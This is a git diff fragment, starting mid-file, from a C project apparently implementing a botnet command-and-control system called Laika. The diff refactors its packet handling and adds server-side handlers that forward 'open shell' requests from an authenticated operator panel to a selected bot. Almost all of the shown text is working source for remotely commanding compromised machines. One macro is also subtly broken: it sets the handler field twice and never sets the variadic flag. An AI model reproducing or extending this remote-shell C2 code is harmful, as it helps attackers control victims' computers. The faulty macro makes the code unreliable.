Handlers ]]============================================= */ - switch (panel->type) { - case PEER_CNC: - case PEER_PANEL: +void laikaC_handleAuthenticatedHandshake(struct sLaika_peer *authPeer, LAIKAPKT_SIZE sz, void *uData) { + struct sLaika_peerInfo *pInfo = (struct sLaika_peerInfo*)uData; + struct sLaika_cnc *cnc = pInfo->cnc; + authPeer->type = laikaS_readByte(&authPeer->sock); + + switch (authPeer->type) { + case PEER_AUTH: /* check that peer's pubkey is authenticated */ - if (sodium_memcmp(panel->peerPub, cnc->pub, sizeof(cnc->pub)) != 0) + if (sodium_memcmp(authPeer->peerPub, cnc->pub, sizeof(cnc->pub)) != 0) LAIKA_ERROR("unauthorized panel!\n"); - /* add to cnc's list of authenticated panels */ - laikaC_addPanel(cnc, panel); - LAIKA_DEBUG("Accepted authenticated panel %lx\n", panel); + /* notify cnc */ + laikaC_setPeerType(cnc, authPeer, PEER_AUTH); + LAIKA_DEBUG("Accepted authenticated panel %p\n", authPeer); /* they passed! send list of our peers */ - laikaP_iterList(&cnc->pList, sendPanelPeerIter, (void*)panel); - - /* notify other peers */ - laikaC_onRmvPeer(cnc, panel); - laikaC_onAddPeer(cnc, panel); + laikaC_iterPeers(cnc, sendPanelPeerIter, (void*)authPeer); break; default: - LAIKA_ERROR("unknown peerType [%d]!\n", panel->type); + LAIKA_ERROR("unknown peerType [%d]!\n", authPeer->type); } +} + +void laikaC_handleAuthenticatedShellOpen(struct sLaika_peer *authPeer, LAIKAPKT_SIZE sz, void *uData) { + uint8_t pubKey[crypto_kx_PUBLICKEYBYTES]; + struct sLaika_authInfo *aInfo = (struct sLaika_authInfo*)uData; + struct sLaika_cnc *cnc = aInfo->info.cnc; + struct sLaika_peer *peer; + + /* read pubkey & find peer */ + laikaS_read(&authPeer->sock, pubKey, crypto_kx_PUBLICKEYBYTES); + if ((peer = laikaC_getPeerByPub(cnc, pubKey)) == NULL) + LAIKA_ERROR("laikaC_handleAuthenticatedShellOpen: Requested peer doesn't exist!\n"); + + aInfo->shellBot = peer; + + /* forward the request to open a shell */ + laikaS_emptyOutPacket(peer, LAIKAPKT_SHELL_OPEN); +} + +void laikaC_handleAuthenticatedShellData(struct sLaika_peer *authPeer, LAIKAPKT_SIZE sz, void *uData) { + } \ No newline at end of file diff --git a/lib/include/lerror.h b/lib/include/lerror.h index a5a73d8..f4f388d 100644 --- a/lib/include/lerror.h +++ b/lib/include/lerror.h @@ -33,7 +33,6 @@ #else #define LAIKA_ERROR(...) do { \ printf("[ERROR] : " __VA_ARGS__); \ - getchar(); \ if (LAIKA_ISPROTECTED) \ longjmp(eLaika_errStack[eLaika_errIndx], 1); \ else \ diff --git a/lib/include/lpacket.h b/lib/include/lpacket.h index 963d400..6de3372 100644 --- a/lib/include/lpacket.h +++ b/lib/include/lpacket.h @@ -41,7 +41,7 @@ enum { * LAIKAPKT_ID pktID; */ LAIKAPKT_HANDSHAKE_REQ, /* first packet sent by peer & received by cnc */ - /* layout of LAIKAPKT_HANDSHAKE_REQ: + /* layout of LAIKAPKT_HANDSHAKE_REQ: *NOTE* ALL DATA IN THIS PACKET IS SENT IN PLAINTEXT!! * uint8_t laikaMagic[LAIKA_MAGICLEN]; -- LAIKA_MAGIC * uint8_t majorVer; * uint8_t minorVer; @@ -55,15 +55,14 @@ enum { */ LAIKAPKT_SHELL_OPEN, /* if sent to bot, opens a shell. if sent to cnc, signifies you opened a shell */ /* layout of LAIKAPKT_SHELL_OPEN: - * uint8_t shellID; + * NULL (empty packet) */ LAIKAPKT_SHELL_CLOSE, /* if sent to bot, closes a shell. if sent to cnc, signifies a shell was closed */ /* layout of LAIKAPKT_SHELL_CLOSE: - * uint8_t shellID; + * NULL (empty packet) */ LAIKAPKT_SHELL_DATA, /* if sent to bot, writes data to stdin of shell. if sent to cnc, writes to 'stdout' of shell */ /* layout of LAIKAPKT_SHELL_DATA - * uint8_t shellID; * char buf[VAR_PACKET_LENGTH]; */ /* ==================================================[[ Auth ]]================================================== */ @@ -83,18 +82,18 @@ enum { * uint8_t pubKey[crypto_kx_PUBLICKEYBYTES]; -- pubkey of said bot * uint8_t peerType; */ - LAIKAPKT_AUTHENTICATED_OPEN_SHELL_REQ, /* panel requesting cnc open a shell on bot */ + LAIKAPKT_AUTHENTICATED_SHELL_OPEN_REQ, /* panel requesting cnc open a shell on bot */ /* layout of LAIKAPKT_AUTHENTICATE_OPEN_SHELL_REQ * uint8_t pubKey[crypto_kx_PUBLICKEYBYTES]; -- pubkey of said bot */ - LAIKAPKT_AUTHENTICATED_OPEN_SHELL_RES, /* panel requesting cnc open a shell on bot */ + LAIKAPKT_AUTHENTICATED_SHELL_OPEN_RES, /* panel requesting cnc open a shell on bot */ /* layout of LAIKAPKT_AUTHENTICATE_OPEN_SHELL_REQ * uint8_t pubKey[crypto_kx_PUBLICKEYBYTES]; -- pubkey of said bot - * uint8_t shellID; -- shell id of shell opened on bot + * uint16_t shellID; -- shell id of shell opened on bot */ LAIKAPKT_AUTHENTICATED_SHELL_DATA, /* if sent to cnc, writes data to stdin of shell. if sent to panel, writes to 'stdout' of shell */ /* layout of LAIKAPKT_SHELL_DATA - * uint8_t shellID; + * uint16_t shellID; * char buf[VAR_PACKET_LENGTH]; */ LAIKAPKT_MAXNONE diff --git a/lib/include/lpeer.h b/lib/include/lpeer.h index 4eddc2f..4bfa456 100644 --- a/lib/include/lpeer.h +++ b/lib/include/lpeer.h @@ -11,20 +11,28 @@ typedef enum { PEER_UNVERIFIED, PEER_BOT, PEER_CNC, /* cnc 2 cnc communication */ - PEER_PANEL /* authorized peers can send commands to cnc */ + PEER_AUTH /* authorized peers can send commands to cnc */ } PEERTYPE; struct sLaika_peer; typedef void (*PeerPktHandler)(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uData); +struct sLaika_peerPacketInfo { + PeerPktHandler handler; + LAIKAPKT_SIZE size; + bool variadic; +}; + + +#define LAIKA_CREATE_PACKET_INFO(ID, HANDLER, SIZE, ISVARIADIC) [ID] = {.handler = HANDLER, .size = SIZE, .handler = HANDLER} + struct sLaika_peer { struct sLaika_socket sock; /* DO NOT MOVE THIS. this member HAS TO BE FIRST so that typecasting sLaika_peer* to sLaika_sock* works as intended */ uint8_t peerPub[crypto_kx_PUBLICKEYBYTES]; /* connected peer's public key */ uint8_t inKey[crypto_kx_SESSIONKEYBYTES], outKey[crypto_kx_SESSIONKEYBYTES]; char hostname[LAIKA_HOSTNAME_LEN], ipv4[LAIKA_IPV4_LEN]; struct sLaika_pollList *pList; /* pollList we're activeList in */ - PeerPktHandler *handlers; - LAIKAPKT_SIZE *pktSizeTable; /* const table to pull pkt size data from */ + struct sLaika_peerPacketInfo *packetTbl; /* const table to pull pkt data from */ void *uData; /* data to be passed to pktHandler */ LAIKAPKT_SIZE pktSize; /* current pkt size */ LAIKAPKT_ID pktID; /* current pkt ID */ @@ -35,10 +43,11 @@ struct sLaika_peer { bool useSecure; /* if true, peer will transmit/receive encrypted data using inKey & outKey */ }; -struct sLaika_peer *laikaS_newPeer(PeerPktHandler *handlers, LAIKAPKT_SIZE *pktSizeTable, struct sLaika_pollList *pList, void *uData); +struct sLaika_peer *laikaS_newPeer(struct sLaika_peerPacketInfo *packetTbl, struct sLaika_pollList *pList, void *uData); void laikaS_freePeer(struct sLaika_peer *peer); void laikaS_setSecure(struct sLaika_peer *peer, bool flag); +void laikaS_emptyOutPacket(struct sLaika_peer *peer, LAIKAPKT_ID id); /* for sending packets with no body */ void laikaS_startOutPacket(struct sLaika_peer *peer, LAIKAPKT_ID id); int laikaS_endOutPacket(struct sLaika_peer *peer); void laikaS_startVarPacket(struct sLaika_peer *peer, LAIKAPKT_ID id); diff --git a/lib/include/lpolllist.h b/lib/include/lpolllist.h index 5e085f3..7116f00 100644 --- a/lib/include/lpolllist.h +++ b/lib/include/lpolllist.h @@ -8,8 +8,6 @@ /* number of pollFDs or epollFDs we expect to start with */ #define POLLSTARTCAP 8 -typedef bool (*tLaika_pollIter)(struct sLaika_socket *sock, void *uData); - struct sLaika_pollEvent { struct sLaika_socket *sock; bool pollIn; @@ -44,7 +42,6 @@ void laikaP_addSock(struct sLaika_pollList *pList, struct sLaika_socket *sock); void laikaP_rmvSock(struct sLaika_pollList *pList, struct sLaika_socket *sock); void laikaP_addPollOut(struct sLaika_pollList *pList, struct sLaika_socket *sock); void laikaP_rmvPollOut(struct sLaika_pollList *pList, struct sLaika_socket *sock); -void laikaP_iterList(struct sLaika_pollList *pList, tLaika_pollIter iter, void *uData); void laikaP_pushOutQueue(struct sLaika_pollList *pList, struct sLaika_peer *peer); void laikaP_resetOutQueue(struct sLaika_pollList *pList); diff --git a/lib/src/lpeer.c b/lib/src/lpeer.c index 2516307..c6b8606 100644 --- a/lib/src/lpeer.c +++ b/lib/src/lpeer.c @@ -2,12 +2,11 @@ #include "lmem.h" #include "lpeer.h" -struct sLaika_peer *laikaS_newPeer(PeerPktHandler *handlers, LAIKAPKT_SIZE *pktSizeTable, struct sLaika_pollList *pList, void *uData) { +struct sLaika_peer *laikaS_newPeer(struct sLaika_peerPacketInfo *pktTbl, struct sLaika_pollList *pList, void *uData) { struct sLaika_peer *peer = laikaM_malloc(sizeof(struct sLaika_peer)); laikaS_initSocket(&peer->sock); - peer->handlers = handlers; - peer->pktSizeTable = pktSizeTable; + peer->packetTbl = pktTbl; peer->pList = pList; peer->uData = uData; peer->pktSize = 0; @@ -28,12 +27,21 @@ void laikaS_freePeer(struct sLaika_peer *peer) { laikaM_free(peer); } +void laikaS_emptyOutPacket(struct sLaika_peer *peer, LAIKAPKT_ID id) { + struct sLaika_socket *sock = &peer->sock; + + laikaS_writeByte(sock, id); + + /* add to pollList's out queue */ + laikaP_pushOutQueue(peer->pList, peer); +} + void laikaS_startOutPacket(struct sLaika_peer *peer, LAIKAPKT_ID id) { struct sLaika_socket *sock = &peer->sock; - if (peer->outStart != -1) { /* sanity check */ - LAIKA_ERROR("unended OUT packet!\n") - } + if (peer->outStart != -1) /* sanity check */ + LAIKA_ERROR("unended OUT packet!\n"); + laikaS_writeByte(sock, id); peer->outStart = sock->outCount; @@ -58,7 +66,7 @@ int laikaS_endOutPacket(struct sLaika_peer *peer) { /* encrypt packet body in-place */ if (crypto_secretbox_easy(body, body, (sock->outCount - peer->outStart) - crypto_secretbox_NONCEBYTES, &sock->outBuf[peer->outStart], peer->outKey) != 0) { - LAIKA_ERROR("Failed to encrypt packet!\n") + LAIKA_ERROR("Failed to encrypt packet!\n"); } sock->outCount += crypto_secretbox_MACBYTES; @@ -67,6 +75,7 @@ int laikaS_endOutPacket(struct sLaika_peer *peer) { /* add to pollList's out queue */ laikaP_pushOutQueue(peer->pList, peer); + /* return packet size and prepare for next outPacket */ sz = sock->outCount - peer->outStart; peer->outStart = -1; return sz; @@ -75,9 +84,8 @@ int laikaS_endOutPacket(struct sLaika_peer *peer) { void laikaS_startVarPacket(struct sLaika_peer *peer, LAIKAPKT_ID id) { struct sLaika_socket *sock = &peer->sock; - if (peer->outStart != -1) { /* sanity check */ - LAIKA_ERROR("unended OUT packet!\n") - } + if (peer->outStart != -1) /* sanity check */ + LAIKA_ERROR("unended OUT packet!\n"); laikaS_writeByte(sock, LAIKAPKT_VARPKT); laikaS_zeroWrite(sock, sizeof(LAIKAPKT_SIZE)); /* allocate space for packet size to patch later */ @@ -97,12 +105,11 @@ int laikaS_endVarPacket(struct sLaika_peer *peer) { void laikaS_startInPacket(struct sLaika_peer *peer, bool variadic) { struct sLaika_socket *sock = &peer->sock; - if (peer->inStart != -1) { /* sanity check */ - LAIKA_ERROR("unended IN packet!\n") - } + if (peer->inStart != -1) /* sanity check */ + LAIKA_ERROR("unended IN packet!\n"); /* if we're encrypting/decrypting all packets, make sure to make the packetsize reflect this */ - if (peer->useSecure && !variadic) + if (peer->useSecure && !variadic && peer->pktSize != 0) peer->pktSize += crypto_secretbox_MACBYTES + crypto_secretbox_NONCEBYTES; peer->inStart = sock->inCount; @@ -113,13 +120,13 @@ int laikaS_endInPacket(struct sLaika_peer *peer) { uint8_t *body; size_t sz = sock->inCount - peer->inStart; - if (peer->useSecure) { + if (peer->useSecure && sz > crypto_secretbox_MACBYTES + crypto_secretbox_NONCEBYTES) { body = &sock->inBuf[peer->inStart + crypto_secretbox_NONCEBYTES]; /* decrypt packet body in-place */ if (crypto_secretbox_open_easy(body, body, (sock->inCount - peer->inStart) - crypto_secretbox_NONCEBYTES, &sock->inBuf[peer->inStart], peer->inKey) != 0) { - LAIKA_ERROR("Failed to decrypt packet!\n") + LAIKA_ERROR("Failed to decrypt packet!\n"); } /* decrypted message is smaller now */ @@ -149,47 +156,52 @@ bool laikaS_handlePeerIn(struct sLaika_peer *peer) { if (laikaS_rawRecv(&peer->sock, sizeof(uint8_t), &recvd) != RAWSOCK_OK) return false; - /* read packet ID & mark start of packet */ + /* read packet ID */ peer->pktID = laikaS_readByte(&peer->sock); /* LAIKAPKT_VARPKT's body is unencrypted, and handled by this switch statement. LAIKAPKT_VARPKT is also likely not to be defined in our pktSizeTable. the LAIKAPKT_VARPKT case calls laikaS_startInPacket for itself, so skip all of this */ if (peer->pktID == LAIKAPKT_VARPKT) - break; + goto _HandlePacketVariadic; - /* sanity check pktID, pktSize && pktID's handler */ - if (peer->pktID >= LAIKAPKT_MAXNONE || (peer->pktSize = peer->pktSizeTable[peer->pktID]) == 0 || peer->handlers[peer->pktID] == NULL) - LAIKA_ERROR("peer %lx doesn't support packet id [%d]!\n", peer, peer->pktID); + /* sanity check pktID, pktID's handler & make sure it's not marked as variadic */ + if (peer->pktID >= LAIKAPKT_MAXNONE || peer->packetTbl[peer->pktID].handler == NULL || peer->packetTbl[peer->pktID].variadic) + LAIKA_ERROR("peer %p doesn't support packet id [%d]!\n", peer, peer->pktID); + + peer->pktSize = peer->packetTbl[peer->pktID].size; /* if peer->useSecure is true, body is encrypted */ laikaS_startInPacket(peer, false); - break; + goto _HandlePacketBody; case LAIKAPKT_VARPKT: + _HandlePacketVariadic: /* try grabbing pktID & size */ if (laikaS_rawRecv(&peer->sock, sizeof(LAIKAPKT_ID) + sizeof(LAIKAPKT_SIZE), &recvd) != RAWSOCK_OK) return false; + /* not worth queuing & setting pollIn for 3 bytes. if the connection is that slow, it was probably sent maliciously anyways */ if (recvd != sizeof(LAIKAPKT_ID) + sizeof(LAIKAPKT_SIZE)) - LAIKA_ERROR("couldn't read whole LAIKAPKT_VARPKT\n") + LAIKA_ERROR("couldn't read whole LAIKAPKT_VARPKT\n"); /* read packet size */ laikaS_readInt(&peer->sock, (void*)&peer->pktSize, sizeof(LAIKAPKT_SIZE)); if (peer->pktSize > LAIKA_MAX_PKTSIZE) - LAIKA_ERROR("variable packet too large!\n") + LAIKA_ERROR("variable packet too large!\n"); /* read pktID */ peer->pktID = laikaS_readByte(&peer->sock); - /* sanity check pktID, check valid range, check it's variadic (marked by a size of 0 & a defined packet handler) */ - if (peer->pktID >= LAIKAPKT_MAXNONE || peer->pktSizeTable[peer->pktID] != 0 || peer->handlers[peer->pktID] == NULL) - LAIKA_ERROR("requested packet id [%d] is not variadic!\n", peer->pktID) + /* sanity check pktID, check valid handler & make sure it's marked as variadic */ + if (peer->pktID >= LAIKAPKT_MAXNONE || peer->packetTbl[peer->pktID].handler == NULL || !peer->packetTbl[peer->pktID].variadic) + LAIKA_ERROR("requested packet id [%d] is not variadic!\n", peer->pktID); /* if peer->useSecure is true, body is encrypted */ laikaS_startInPacket(peer, true); - break; + goto _HandlePacketBody; default: + _HandlePacketBody: /* try grabbing the rest of the packet */ if (laikaS_rawRecv(&peer->sock, peer->pktSize - peer->sock.inCount, &recvd) != RAWSOCK_OK) return false; @@ -199,7 +211,7 @@ bool laikaS_handlePeerIn(struct sLaika_peer *peer) { peer->pktSize = laikaS_endInPacket(peer); /* dispatch to packet handler */ - peer->handlers[peer->pktID](peer, peer->pktSize, peer->uData); + peer->packetTbl[peer->pktID].handler(peer, peer->pktSize, peer->uData); /* reset */ peer->sock.inCount = 0; diff --git a/lib/src/lpolllist.c b/lib/src/lpolllist.c index f38c128..73ffb93 100644 --- a/lib/src/lpolllist.c +++ b/lib/src/lpolllist.c @@ -220,27 +220,4 @@ struct sLaika_pollEvent *laikaP_poll(struct sLaika_pollList *pList, int timeout, /* return revents array */ return pList->revents; -} - -struct sWrapperData { - tLaika_pollIter iter; - void *uData; -}; - -/* wrapper iterator */ -bool iterWrapper(const void *rawItem, void *uData) { - struct sWrapperData *data = (struct sWrapperData*)uData; - tLaika_hashMapElem *item = (tLaika_hashMapElem*)rawItem; - return data->iter(item->sock, data->uData); -} - -void laikaP_iterList(struct sLaika_pollList *pList, tLaika_pollIter iter, void *uData) { - struct sWrapperData wrapper; - wrapper.iter = iter; - wrapper.uData = uData; - - /* iterate over hashmap calling our iterWrapper, pass the *real* iterator to - itemWrapper so that it can call it. probably a better way to do this - but w/e lol */ - hashmap_scan(pList->sockets, iterWrapper, &wrapper); } \ No newline at end of file diff --git a/lib/src/lsocket.c b/lib/src/lsocket.c index 8b57380..c8f7faf 100644 --- a/lib/src/lsocket.c +++ b/lib/src/lsocket.c @@ -26,7 +26,7 @@ void laikaS_init(void) { WSADATA wsaData; if (WSAStartup(MAKEWORD(1, 1), &wsaData) != 0) - LAIKA_ERROR("WSAStartup failed!\n") + LAIKA_ERROR("WSAStartup failed!\n"); #endif } @@ -118,7 +118,7 @@ void laikaS_bind(struct sLaika_socket *sock, uint16_t port) { struct sockaddr_in address; if (!SOCKETINVALID(sock->sock)) - LAIKA_ERROR("socket already setup!\n") + LAIKA_ERROR("socket already setup!\n"); /* open our socket */ sock->sock = socket(AF_INET, SOCK_STREAM, 0); @@ -154,7 +154,7 @@ void laikaS_acceptFrom(struct sLaika_socket *sock, struct sLaika_socket *from) { sock->sock = accept(from->sock, &address, &addressSize); if (SOCKETINVALID(sock->sock)) - LAIKA_ERROR("accept() failed!\n") + LAIKA_ERROR("accept() failed!\n"); } bool laikaS_setNonBlock(struct sLaika_socket *sock) { @@ -266,6 +266,10 @@ RAWSOCKCODE laikaS_rawRecv(struct sLaika_socket *sock, size_t sz, int *processed RAWSOCKCODE errCode = RAWSOCK_OK; int rcvd, start = sock->inCount; + /* sanity check */ + if (sz == 0) + return RAWSOCK_OK; + /* make sure we have enough space to recv */ laikaM_growarray(uint8_t, sock->inBuf, sz, sock->inCount, sock->inCap); rcvd = recv(sock->sock, (buffer_t*)&sock->inBuf[sock->inCount], sz, LN_MSG_NOSIGNAL); diff --git a/panel/src/main.c b/panel/src/main.c index 0bb9e30..3a6a095 100644 --- a/panel/src/main.c +++ b/panel/src/main.c @@ -69,7 +69,7 @@ void connectToCNC(void *uData) { } void quitLaika(void *uData) { - LAIKA_ERROR("quit!\n") + LAIKA_ERROR("quit!\n"); } int main(int argv, char **argc) { diff --git a/panel/src/panel.c b/panel/src/panel.c index 0be14ab..3e461de 100644 --- a/panel/src/panel.c +++ b/panel/src/panel.c @@ -32,7 +32,7 @@ void printLine(WINDOW *win, char *text, int width, int x, int y) { void panel_init() { if ((wmain = initscr()) == NULL) - LAIKA_ERROR("Failed to init ncurses!") + LAIKA_ERROR("Failed to init ncurses!"); activeListSize = -1; diff --git a/panel/src/pclient.c b/panel/src/pclient.c index fd1ef3a..3ccdf76 100644 --- a/panel/src/pclient.c +++ b/panel/src/pclient.c @@ -138,15 +138,15 @@ void panelC_connectToCNC(tPanel_client *client, char *ip, char *port) { laikaS_setSecure(client->peer, true); if (crypto_kx_client_session_keys(client->peer->inKey, client->peer->outKey, client->pub, client->priv, client->peer->peerPub) != 0) - LAIKA_ERROR("failed to gen session key!\n") + LAIKA_ERROR("failed to gen session key!\n"); /* queue authenticated handshake request */ laikaS_startOutPacket(client->peer, LAIKAPKT_AUTHENTICATED_HANDSHAKE_REQ); - laikaS_writeByte(sock, PEER_PANEL); + laikaS_writeByte(sock, PEER_AUTH); laikaS_endOutPacket(client->peer); if (!laikaS_handlePeerOut(client->peer)) - LAIKA_ERROR("failed to send handshake request!\n") + LAIKA_ERROR("failed to send handshake request!\n"); } bool panelC_poll(tPanel_client *client, int timeout) { diff --git a/shell/src/sclient.c b/shell/src/sclient.c index a77c062..1adafd0 100644 --- a/shell/src/sclient.c +++ b/shell/src/sclient.c @@ -12,14 +12,14 @@ typedef struct sShell_hashMapElem { uint8_t *pub; } tShell_hashMapElem; -int shellElemCompare(const void *a, const void *b, void *udata) { +int shell_ElemCompare(const void *a, const void *b, void *udata) { const tShell_hashMapElem *ua = a; const tShell_hashMapElem *ub = b; return memcmp(ua->pub, ub->pub, crypto_kx_PUBLICKEYBYTES); } -uint64_t shellElemHash(const void *item, uint64_t seed0, uint64_t seed1) { +uint64_t shell_ElemHash(const void *item, uint64_t seed0, uint64_t seed1) { const tShell_hashMapElem *u = item; return *(uint64_t*)(u->pub); /* hashes pub key (first 8 bytes) */ } @@ -47,7 +47,7 @@ void shellC_handleAddPeer(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uDat type = laikaS_readByte(&peer->sock); /* ignore panel clients */ - if (type == PEER_PANEL) + if (type == PEER_AUTH) return; /* create peer */ @@ -69,26 +69,29 @@ void shellC_handleRmvPeer(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uDat type = laikaS_readByte(&peer->sock); /* ignore panel clients */ - if (type == PEER_PANEL) + if (type == PEER_AUTH) return; if ((bot = shellC_getPeerByPub(client, pubKey, &id)) == NULL) - LAIKA_ERROR("LAIKAPKT_AUTHENTICATED_RMV_PEER_RES: Unknown peer!\n") + LAIKA_ERROR("LAIKAPKT_AUTHENTICATED_RMV_PEER_RES: Unknown peer!\n"); /* remove peer */ shellC_rmvPeer(client, bot, id); } -LAIKAPKT_SIZE shellC_pktSizeTbl[LAIKAPKT_MAXNONE] = { - [LAIKAPKT_HANDSHAKE_RES] = sizeof(uint8_t), - [LAIKAPKT_AUTHENTICATED_ADD_PEER_RES] = crypto_kx_PUBLICKEYBYTES + sizeof(uint8_t) + LAIKA_HOSTNAME_LEN + LAIKA_IPV4_LEN, /* pubkey + peerType + host + ip */ - [LAIKAPKT_AUTHENTICATED_RMV_PEER_RES] = crypto_kx_PUBLICKEYBYTES + sizeof(uint8_t), /* pubkey + peerType */ -}; - -PeerPktHandler shellC_handlerTbl[LAIKAPKT_MAXNONE] = { - [LAIKAPKT_HANDSHAKE_RES] = shellC_handleHandshakeRes, - [LAIKAPKT_AUTHENTICATED_ADD_PEER_RES] = shellC_handleAddPeer, - [LAIKAPKT_AUTHENTICATED_RMV_PEER_RES] = shellC_handleRmvPeer, +struct sLaika_peerPacketInfo shellC_pktTbl[LAIKAPKT_MAXNONE] = { + LAIKA_CREATE_PACKET_INFO(LAIKAPKT_HANDSHAKE_RES, + shellC_handleHandshakeRes, + sizeof(uint8_t), + false), + LAIKA_CREATE_PACKET_INFO(LAIKAPKT_AUTHENTICATED_ADD_PEER_RES, + shellC_handleAddPeer, + crypto_kx_PUBLICKEYBYTES + LAIKA_HOSTNAME_LEN + LAIKA_IPV4_LEN + sizeof(uint8_t), + false), + LAIKA_CREATE_PACKET_INFO(LAIKAPKT_AUTHENTICATED_RMV_PEER_RES, + shellC_handleRmvPeer, + crypto_kx_PUBLICKEYBYTES + sizeof(uint8_t), + false), }; void shellC_init(tShell_client *client) { @@ -96,13 +99,12 @@ void shellC_init(tShell_client *client) { laikaP_initPList(&client->pList); client->peer = laikaS_newPeer( - shellC_handlerTbl, - shellC_pktSizeTbl, + shellC_pktTbl, &client->pList, (void*)client ); - client->peers = hashmap_new(sizeof(tShell_hashMapElem), 8, 0, 0, shellElemHash, shellElemCompare, NULL, NULL); + client->peers = hashmap_new(sizeof(tShell_hashMapElem), 8, 0, 0, shell_ElemHash, shell_ElemCompare, NULL, NULL); client->peerTbl = NULL; client->peerTblCap = 4; client->peerTblCount = 0; @@ -150,7 +152,7 @@ void shellC_connectToCNC(tShell_client *client, char *ip, char *port) { /* create encryption keys */ if (crypto_kx_client_session_keys(client->peer->inKey, client->peer->outKey, client->pub, client->priv, client->peer->peerPub) != 0) - LAIKA_ERROR("failed to gen session key!\n") + LAIKA_ERROR("failed to gen session key!\n"); /* setup socket */ laikaS_connect(sock, ip, port); @@ -172,7 +174,7 @@ void shellC_connectToCNC(tShell_client *client, char *ip, char *port) { /* queue authenticated handshake request */ laikaS_startOutPacket(client->peer, LAIKAPKT_AUTHENTICATED_HANDSHAKE_REQ); - laikaS_writeByte(sock, PEER_PANEL); + laikaS_writeByte(sock, PEER_AUTH); laikaS_endOutPacket(client->peer); /* the handshake requests will be sent on the next call to shellC_poll */ diff --git a/shell/src/speer.c b/shell/src/speer.c index e0141d4..60b1625 100644 --- a/shell/src/speer.c +++ b/shell/src/speer.c @@ -28,7 +28,7 @@ char *shellP_typeStr(tShell_peer *peer) { switch (peer->type) { case PEER_BOT: return "Bot"; case PEER_CNC: return "CNC"; - case PEER_PANEL: return "Auth"; + case PEER_AUTH: return "Auth"; default: return "err"; } } \ No newline at end of file